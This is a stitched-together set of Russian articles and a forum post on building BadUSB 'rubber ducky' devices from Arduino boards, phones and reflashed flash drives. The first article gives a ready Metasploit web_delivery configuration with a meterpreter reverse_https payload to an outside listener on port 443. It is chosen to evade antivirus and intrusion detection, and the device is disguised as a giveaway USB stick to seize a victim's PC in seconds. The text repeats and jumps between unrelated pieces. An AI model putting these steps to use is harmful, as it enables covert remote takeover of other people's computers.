Как сделать bad usb
Взлом компьютера за 3 секунды. Делаем USB-уточку с нуля на Arduino
Начнём с традиционного «Этот материал представлен только в образовательных целях». Если вы используете эту информацию для взлома HBO и выпуска следующего сезона «Игры престолов» бесплатно на YouTube, ну… здорово. В том смысле, что я никак не поощряю подобное поведение.
Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin().
Выглядит неплохо. Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду.
Отлично. Создадим эксплоит во фреймворке Metasploit.
Будем использовать модуль web_delivery. Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы.
Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.
Нужно сказать нашей программе, откуда брать бинарники:
Дальше указываем порт, который не вызовет подозрений, что насчёт 443? 😉
Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.
Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.
Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.
set PAYLOAD windows/meterpreter/reverse_https
Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.
use exploit/multi/script/web_delivery
set LHOST 1.2.3.4
set LPORT 443
set URIPATH /
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_https
exploit
Получаем полезную нагрузку для запуска на компьютере жертвы:
Теперь можем запустить это с флэшки.
Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы.
Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта. Было бы очень полезно сократить время доступа на 75%. Вот этот хороший человек отредактировал прошивку, чтобы пропустить загрузчик при подключении. Мы взяли код и перепрошили флэшку, перезагрузили код и та-дам — всё работает. Но можно сделать ещё лучше: хорошо бы спрятать микросхему в корпус, чтобы она не вызывала подозрений.
Я выбрал одну из тех неприметных USB-флешек, которые рекрутеры раздают миллионами, и заказал эти классные маленькие OTG-адаптеры microUSB − USB A. Пришлось отрезать ненужные части печатной платы, чтобы она поместилась в корпус, всунул OTG-адаптер в корпус USB A и заклеил всё суперклеем. По мне так выглядит вообще не подозрительно, но всё-таки 10 секунд — это немалое время, особенно когда прячешься от драконов.
Нужно немного изменить программу, потому что мы используем другую библиотеку, но работать она будет как и раньше.
Самое большое преимущество Pro Micro — это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела. Убейте Серсею.
Мобильник как BadUSB. Используем BadUSB в Kali NetHunter по-взрослому
О BadUSB говорилось и писалось множество раз, в статьях и видеороликах давалась общая информация об этом классе атак, делался обзор существующих девайсов на рынке, и, конечно же, описывались схемы сборки самодельных устройств. Как ты знаешь, эта атака позволяет в кратчайшие сроки выполнить действия на целевом компьютере. Делается это так: в свободный USB-порт вставляется заранее подготовленная флешка или простой USB-кабель, который имеет встроенный микроконтроллер с особой прошивкой. Эти устройства идентифицируются системой в качестве HID (Human Interface Device), например как клавиатура. После чего по заранее написанному сценарию эмулируется ввод команд, как если бы их вбивал живой человек, сидящий за компьютером.
Предположим, что ты член команды Red Team. Плюсы таких устройств для тебя очевидны. Во‑первых, не нужно садиться за компьютер и привлекать к себе внимание, стуча по клавишам за чужим рабочим местом. Достаточно вставить неприглядную флешку или кабель в разъем USB. А во‑вторых, скорость автоматического ввода команд при помощи устройства BadUSB в разы выше, чем скорость, с которой способен печатать человек.
На самом деле атака с автоматическим вводом текста через USB-свистки появилась куда раньше, чем сам термин BadUSB. В 2010 году команда Hak5 представила своего знаменитого резинового утенка — Rubber Ducky.
Широко известный в узких кругах девайс Rubber Ducky
Это был специально спроектированный девайс, который напрямую никак не связан с темой BadUSB. Создатели желтой уточки разработали специальный скриптовый язык, на котором можно было писать сценарии. Впоследствии появился целый ресурс, где пользователи выкладывали свои скрипты.
Ресурс, на который пользователи выкладывали собственные скрипты
Bash Bunny
Интересная альтернатива «резиновой утке» — Bash Bunny. Это более изощренный вариант девайса для HID-атак. Помимо клавиатуры, он может эмулировать любые устройства для последовательного порта, файловые хранилища и адаптеры USB — Ethernet.
О других хакерских устройствах, которые может приобрести любой желающий, ты можешь прочитать в этой статье.
В большинстве случаев применение «утенка» и самодельных BadUSB-свистков сводится к получению удаленного доступа или экспорту паролей из системы. Авторы тематических статей и мамкины хакеры c ютуба зачастую используют одну и ту же схему: залить на файлообменник какой‑нибудь троян и запрограммировать девайс BadUSB на его скачивание и выполнение. Как говорится, дешево и сердито.
Минусы этого метода очевидны: во‑первых, серьезные специалисты могут использовать собственные приватные наработки, так что заливать такой код неизвестно куда — идея не самая разумная, а во‑вторых, на целевой машине может не оказаться доступа в интернет, и скрипт попросту не отработает как надо.
При таком раскладе самодельные бюджетные свистки становятся бесполезными. Пользователи оригинального утенка находятся в более привилегированном положении, и вот почему: у Rubber Ducky есть возможность установить SD-карту с достаточным объемом памяти. Кроме того, существует альтернативная прошивка под названием Twin Duck, которая превращает утку одновременно в два устройства: клавиатуру и Mass Storage Device. Таким образом, появляется возможность расположить необходимый софт непосредственно во внутренней памяти девайса и полностью избежать работы с сетью.
Лично я познакомился с BadUSB при совершенно других обстоятельствах. Это случилось, когда я установил на смартфон операционную систему Kali NetHunter. Среди прочих функций данной ОС в ней присутствует возможность исполнять утиные скрипты при подключении смартфона к компьютеру. И все бы ничего, но вариант с заливкой файлов куда‑то вовне меня совершенно не устраивал, и я решил довести алгоритм этой атаки до ума.
warning
Вся информация предоставлена исключительно в ознакомительных целях. Автор и редакция не несут ответственности за любой возможный вред, причиненный с использованием сведений из этой статьи.
Для начала разберемся с базовым выполнением ducky-скриптов. В графической оболочке NetHunter для этого существует свой раздел, но, по правде говоря, пользы от него мало. Поэтому запуск скриптов мы наладим самостоятельно.
При запуске сконвертированного скрипта подключенный телефон начнет вводить текст на компьютере.
С этим разобрались, теперь перейдем к части эмуляции флеш‑накопителя. Для начала нам необходимо создать виртуальный образ, который мы будем монтировать и на котором будут находиться нужные для запуска файлы. Образ можно было бы создать простой командой:
Но необходимо еще отформатировать накопитель и задать метку тома, поэтому более удобным вариантом будет использование утилиты DriveDroid.
Используем утилиту DriveDroid для создания виртуального образа диска
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
BadUSB Rubber Ducky своими руками
Не для кого не секрет, что хакеры используют для атак небольшие устройства, внешне очень похожие на внешний USB-накопитель (флешку) называемые BadUSB. Чтобы заполучить удаленный контроль нужно всего навсего подключить такое устройство к серверу (компьютеру). Для начала все очень похоже на Rubber Ducky, за одним большим исключением, Rubber Ducky — это разовая акция, последствия которой весьма предсказуемы. Мы же хотим рассказать о гораздо более универсальной модификации BadUSB.
Лучше, чем Rubber Ducky
Наверняка вы уже слышали про Rubber Ducky. Это устройство из разряда BadUSB для HID-атаки. Подобного рода девайсы умеют эмулировать клавиатуру и позволяют отправить любые команды, словно их набрал текущий пользователь.
В этих устройствах есть простой микроконтроллер и память, в которую записывается скетч (код для Arduino и подобных отладочных плат). Он содержит функцию эмуляции нужного устройства и набор выполняемых им действий. Как показывает практика, обычно это клавиатура и последовательность «нажимаемых» на ней клавиш.
Конечно, у этих девайсов есть и свои недостатки. Во-первых, нужно тщательно разведать полную конфигурацию компьютера-жертвы. Во-вторых, перед реальной атакой нужно проверить, как она будет выполняться на максимально подобной тестовой системе, и внести необходимые правки — в частности, подобрать оптимальные задержки. В реальных условиях, скорее всего, будет проблематично второй раз приблизиться к атакуемому компьютеру, а если хоть один скан-код клавиши будет отправлен не вовремя, то все окажется напрасным. В-третьих, можно использовать только один скетч. Нельзя дописать какую-то функцию на лету или прервать и перезапустить набор действий. В этой статье я покажу как создать устройство, лишенное этих недостатков.
Создание WiFi Ducky
Практически это будет тот же самый Rubber Ducky, только с модулем WiFi. Суть в том, что при его подключении к компьютеру скетч не выполняется сразу при подаче питания на плату (хотя такая функция тоже есть). В этот момент создается точка доступа, которая ждет подключения. Соединиться с ней можно как со смартфона, так и с ноутбука и уже оттуда в любой удобный момент совершать необходимые действия.
За основу можно взять Arduino MKR1000 с WiFi-модулем Atmel ATSAMW25 на борту, добавить библиотеку WiFi101 и готовый код отсюда. Однако обойдется это в 35 долларов. Также есть готовый проект Cactus WHID. Он стоит уже 14 долларов и выглядит как флешка, но доработать его будет сложнее.
Я предлагаю собрать более дешевый (меньше десяти долларов) и функциональный девайс под называнием WiFi Ducky. Его автор — Stefan Kremser с ником «Космокурица», а железо для его крутых самоделок продается в отдельном магазине на AliExpress. Там можно купить готовые DIY-модули, скачать код с гитхаба и повторить все шаг за шагом, однако мы пойдем немного другим путем.
Возьмем два устройства:
WeMos D1 mini с микроконтроллером ESP-8266EX и WiFi-модулем стандарта 802.11b/g/n на борту.
Нам необходимо будет соединить их, но вначале — прошить.
Прошивка Arduino Micro Pro
Начнем с платы Arduino. Скачиваем и устанавливаем Arduino IDE. При установке этого программного обеспечения заодно установятся все драйверы для этого устройства, так что дополнительно ничего не надо будет устанавливать. Чтобы подключить ее к компьютеру, необходимо запастить OTG-адаптером или кабелем с надлежащими выходами, так как на плате расположен разъем mini-USB.
После установки программного обеспечения запускаем его и подключаем Arduino к компьютеру. В меню «Инструменты» в разделе «Плата» выбираем Arduino/Genuino Micro. Далее в том же меню выбираем COM-порт, на котором определено устройство. На этом настройка программного обеспечения завершена.
Следующим шагом идем по ссылке, где расположен скетч. На него достаточно взглянуть, чтобы понять, что он делает: преобразует команды типа STRING в поддерживаемый Arduino синтаксис типа Keyboard.print(“”), и активирует нужные контакты. Копируем его и вставляем в Arduino IDE. Нажимаем кнопку «Загрузка» и через две-три минуты получаем сообщение о том, что скетч успешно загружен. Теперь при подаче питания на плату контроллер активирует контакты TX, RX, GND и RAM, после чего переходит в режим ожидания команд.
Прошивка WeMos D1 mini
Добрались до следующего компонента нашего BadUSB на стероидах. В этот раз нам потребуется перейти с micro-USB на USB Type-А. При первом подключении к компьютеру Windows ругнется на неопределенное устройство, поэтому необходимо скачать драйвер CH341 c официального сайта.
Тут ничего сложного: извлекаем из архива EXE-файл, запускаем его с правами администратора и нажимаем INSTALL. После этих нехитрых манипуляций в диспетчере устройств эта плата должна определиться как USB-SERIAL СР340. Поделюсь горьким опытом: если установить неверный драйвер, то устройство определится, но название будет другое, и ничего не заработает. Будьте предельно внимательны!
Правильное определение WeMos D1 mini
Теперь устройство готово к прошивке, и нам нужен прошивальщик. Я воспользуюсь NodeMCU firmware programmer. Заходим на GitHub и скачиваем его в соответствии с версией вашей ОС. У меня это Win64. Еще необходимо скачать саму прошивку. Их будет несколько вариаций, я скачивал esp8266_wifi_duck_4mb.bin, как наиболее увесистый и функциональный вариант.
После этого запускаем и настраиваем прошивальщик. В поле COM Port выбираем тот порт, на котором определилась плата. Обычно программа сама его «видит» и подставляет необходимое значение. Далее переходим во вкладку Config, где в первой строке нажимаем на шестеренку и указываем путь до прошивки, которую скачали. Значение остается 0x00000. Во вкладке Advanced советую выставить параметр Baudrate на 115200. У меня прошивка записалась на такой скорости, а если у вас возникнет ошибка, то просто уменьшите ее. Остальное оставляем без изменения. В итоге должно получиться как на скриншоте.
Значения программы NODEMCU FIRMWARE PROGRAMMER на вкладке Advanced
Когда все нехитрые манипуляции будут выполнены, возвращаемся на вкладку Operation и нажимаем Flash. Ниже кнопки расположен индикатор, который покажет приблизительное время загрузки прошивки в память, а зеленая галочка с надписью NODEMCU TEAM даст знать, что прошивка закончилась.
Работа паяльником
После того как обе платы подготовлены и прошиты, необходимо соединить их в одного «Франкенштейна». Для этого подключаем проводами контакты в соответствии с таблицей:
Как с флешки зделать badusb?
ARTURnoANONIM
New member
Вот вся инфа про флешку
Volume: E:
Controller: USBest UT163 A1B
Possible Memory Chip(s):
Samsung K9G8G08U0M
Memory Type: MLC
Flash ID: ECD31425 64
Chip F/W: BA0664
VID: 1307
PID: 0163
Manufacturer: USB 2.0
Product: Flash Disk
Query Vendor ID: USB 2.0
Query Product ID: Flash Disk
Query Product Revision: 0.00
Physical Disk Capacity: 1031798272 Bytes
Windows Disk Capacity: 1027571712 Bytes
Internal Tags: 27ZR-T994
File System: FAT32
Relative Offset: 31 KB
USB Version: 2.00
Declared Power: 80 mA
ContMeas ID: C454-02-00
Вот вся инфа про флешку
Volume: E:
Controller: USBest UT163 A1B
Possible Memory Chip(s):
Samsung K9G8G08U0M
Memory Type: MLC
Flash ID: ECD31425 64
Chip F/W: BA0664
VID: 1307
PID: 0163
Manufacturer: USB 2.0
Product: Flash Disk
Query Vendor ID: USB 2.0
Query Product ID: Flash Disk
Query Product Revision: 0.00
Physical Disk Capacity: 1031798272 Bytes
Windows Disk Capacity: 1027571712 Bytes
Internal Tags: 27ZR-T994
File System: FAT32
Relative Offset: 31 KB
USB Version: 2.00
Declared Power: 80 mA
ContMeas ID: C454-02-00
Гадкий утенок. Превращаем обычную флешку в USB Rubber Ducky
Содержание статьи
Как-то давно мы делали в журнале обзор девайсов, которые было бы желательно иметь в своем чемоданчике хакера. Среди прочих девайсов там был и USB Rubber Ducky — устройство, внешне напоминающее обычную флешку, которое притворяется клавиатурой и при подключении к компьютеру быстренько набирает все заданные в нем команды. Штука крутая и очень полезная при проведении пентестов, но зачем выкладывать за нее 40 баксов (да еще и при текущем курсе), если аналогичным трюкам можно научить обычную флешку?
WARNING
Предисловие
Прошлогодний Black Hat принес много интересных докладов. В числе наиболее обсуждаемых был доклад, посвященный неисправимой уязвимости USB-устройств, позволяющей превращать обычные флешки в инструмент распространения вредоносных программ. Атаку назвали BadUSB, но позже в Сети появились шуточки на тему «USBola», сравнивающие эту атаку с известным вирусом.
Подобные идеи использования HID-девайсов для корыстных целей были уже давно. Грех не воспользоваться тем, что ОС система доверяет устройствам, подключаемым к USB-интерфейсу. Если покопаться в памяти, то в журнале уже была статья по сходной тематике, в которой говорилось, как с помощью специального устройства Teensy можно взять под контроль машину с Windows 7 (в принципе — с любой ОС на борту). Устройство по внешнему виду напоминало собой обычную флешку, под которую собственно и маскировалось. Все это наводило на мысли, что с флеш-накопителями тоже можно провернуть такой трюк.
Предпосылки
Вообще, USB — очень универсальный интерфейс. Только подумай, сколько устройств мы к нему подключаем и в состав каких девайсов он входит! Мышки, клавиатуры, принтеры, сканеры, геймпады, модемы, точки доступа, веб-камеры, телефоны и т.д. и т.п. Мы не задумываясь вставляем коннектор в нужный разъем, ОС автоматически определяет тип устройства и подгружает необходимые драйвера.
Но как она это делает?
Устройство Flash накопителей
На самом деле, ОС ничего не знает о подключаемом устройстве. Ей приходится ждать, пока девайс сам не сообщит, к какому классу устройств он принадлежит. Если взять простейший пример, когда мы втыкаем флешку в USB-разъем, то флешка сообщает операционной системе не только что является накопителем, но и свой объем. Тут сразу вспоминаются хитрожелтые китайские товарищи, которые таким образом научились выпускать флешки повышенной емкости (встречались чуть ли не на пару терабайт). Чтобы разобраться, как такое возможно, давай вспомним (или узнаем), как система распознает USB-устройства.
Флешка без красивой обертки
Xakep #200. Тайная жизнь Windows 10
Алгоритм инициализации USB устройств
Назначение USB-устройств определяется кодами классов, которые сообщаются USB-хосту для загрузки необходимых драйверов. Коды классов позволяют унифицировать работу с однотипными устройствами разных производителей. Устройство может поддерживать один или несколько классов, количество которых определяется количеством конечных точек (USB endpoints). В момент подключения хост запрашивает у устройства ряд стандартизованных сведений (дескрипторов), на основании которых принимает решение, как с этим устройством работать. Дескрипторы содержат сведения о производителе и типе устройства, на основании которых хост подбирает программный драйвер.
Обычная флешка будет иметь код класса 08h (Mass Storage Device — MSD), в то время как веб-камера, снабженная микрофоном, будет характеризоваться уже двумя: 01h (Audio) и 0Eh (Video Device Class).
При подключении USB-устройства оно регистрируется, получает адрес и отправляет свой дескриптор/дескрипторы, чтобы ОС загрузила необходимые драйвера и отправила обратно необходимую конфигурацию. После этого начинается непосредственное взаимодействие с устройством. По завершении работы происходит дерегистрация девайса. Важный момент, который стоит тут отметить: устройства могут иметь несколько дескрипторов, а также могут дерегистрироваться и регистрироваться в качестве другого устройства.
Единственная часть устройства, видимая пользователю
Bad USB или немного истории
Итак, на конференции Black Hat в прошлом году двое исследователей (Karsten Nohl и Jakob Lell) поделились с общественностью опытом, как перепрошить контроллер флешки своей прошивкой. По истечении некоторого времени такая флешка регистрировалась в качестве клавиатуры и набирала заданные команды. Из-за серьезности проблемы ребята не стали выкладывать код эксплойта. Однако, спустя некоторое время, двое других исследователей (Adam Caudill и Brandon Wilson) уже на конференции Derbycon представили миру работоспособный РоС, заточенный под микроконтроллер Phison 2251-03. Код доступен на github.
Трансформация
Прежде всего нам понадобится подходящий девайс. Так как код выложен только для конкретного микроконтроллера, то у нас есть два варианта — либо найти флешку, управляемую данным контроллером, либо провести очень непростую работу по исследованию и перепрошивке любого другого микроконтроллера. В этот раз мы выберем более легкий путь и попробуем найти подходящую флешку (а вот и список узявимого оборудования). Контроллер достаточно распространенный, так что даже каким-то чудом у меня дома среди десятка флешек нашлась подходящая.
Начинаем колдовать
Найдя подходящий девайс (который не жалко в случае неудачи потерять), можно приступать к его перевоплощению. Прежде всего нам потребуется скачать исходники, которые выложили ребята. В принципе, содержание расписано у них в официальной вики, но на всякий случай еще раз напомню, что же они выложили на гитхаб:
Подготавливаем систему
Скомпилировав все инструменты, входящие в архив, можно будет еще раз проверить, подходит ли данная флешка для перепрошивки:
где F — соответственно, буква накопителя.
Если эксперименты пошли не так и с флешкой творится что-то непонятное, то можно попытаться вернуть ее к жизни, вручную переведя ее в boot-режим, и воспользовавшись утилитой для восстановления оригинальной прошивки. Для этого надо перед ее подключение замкнуть 1 и 2 (иногда 2 и 3) контакты контроллера, расположенные по диагонали от точки (чтобы было понятней смотри соотвествующий рисунок). После этого можно попытаться восстановить устройство с помощью официальной утилиты MPAL
Переводим флешку в boot-режим, замыкая указанные контакты
Получаем burner image
Следующим важным шагом является выбор подходящего burner image-а (8051 бинарник, ответственный за действия по дампу и заливке прошивки на устройство). Обычно их имена выглядят примерно так:
Где xx — номер версии контроллера (например, в случае PS2251-03 это будет 03), yyy — номер версии (не важно), а z отражает размер страницы памяти и может быть следующим:
Где искать подходящий burner image для своей флешки, можно посмотреть по этой ссылке.
Дампим оригинальную прошивку
Подготавливаем payload
Теперь настало время подумать о том, какой функционал мы хотим получить от нашей флешки. Если вспомнить Teensy, для него есть отдельный тулкит Kautilya, который позволяет автоматизировать создание пейлоадов. Для USB Rubber Ducky тут есть целый сайт, позволяющий посредством удобного веб-интерфейса прямо в онлайне создавать скрипты для девайса по своему вкусу. И это помимо списка уже готовых скриптов, которые лежат на гитхабе проекта. На наше счастье, Ducky-скрипты можно сконвертировать в бинарный вид, чтобы затем встроить их в прошивку. Для этого нам пригодится утилита Duck Encoder.
Что же по поводу самих скриптов, то тут есть сразу несколько вариантов:
Для того чтобы перевести скрипт в бинарный вид, необходимо выполнить следующую команду:
где keys.txt — Ducky-скрипт, а inject.bin — выходной бинарник.
Заливаем прошивку
Как только у нас на рукам появится готовый пейлоад, настанет время внедрять его в прошивку. Выполняется это следующими двумя командами:
После такой манипуляции у нас на руках будет файл кастомной прошивки hid.bin с внедренной в него полезной нагрузкой. Остается только залить полученную прошивку на флешку:
где F — опять же, буква накопителя.
Альтернативные варианты
Помимо использования HID-природы флешки и превращения ее в клавиатуру, набирающую наши пэйлоады, можно сотворить еще несколько трюков. Например, можно создать на устройстве скрытый раздел, уменьшив место, которое будет видеть ОС. Для этого сначала надо получить размер устройства в логических блоках:
Аналогичным образом делается Password Path и No Boot Mode Patch, про которые ты можешь подробней посмотреть на гитхабе проекта. Моей же основной целью было научить флешку выполнять заданные действия, чего мы с тобой и добились.
Поставленной цели мы добились. Более того: думаю, ты теперь понял, что флешки (да и прочие USB-девайсы) нельзя больше рассматривать как просто абстрактный накопитель, хранящий твою информацию. На самом деле — это уже практически компьютер, который можно научить выполнять определенные действия. Хотя на данный момент РоС выложен только для одного конкретного контроллера, будь уверен, что в момент чтения статьи кто-то наверняка ковыряет другие.
Так что будь осторожен при подключении USB-устройств и держи ухо востро.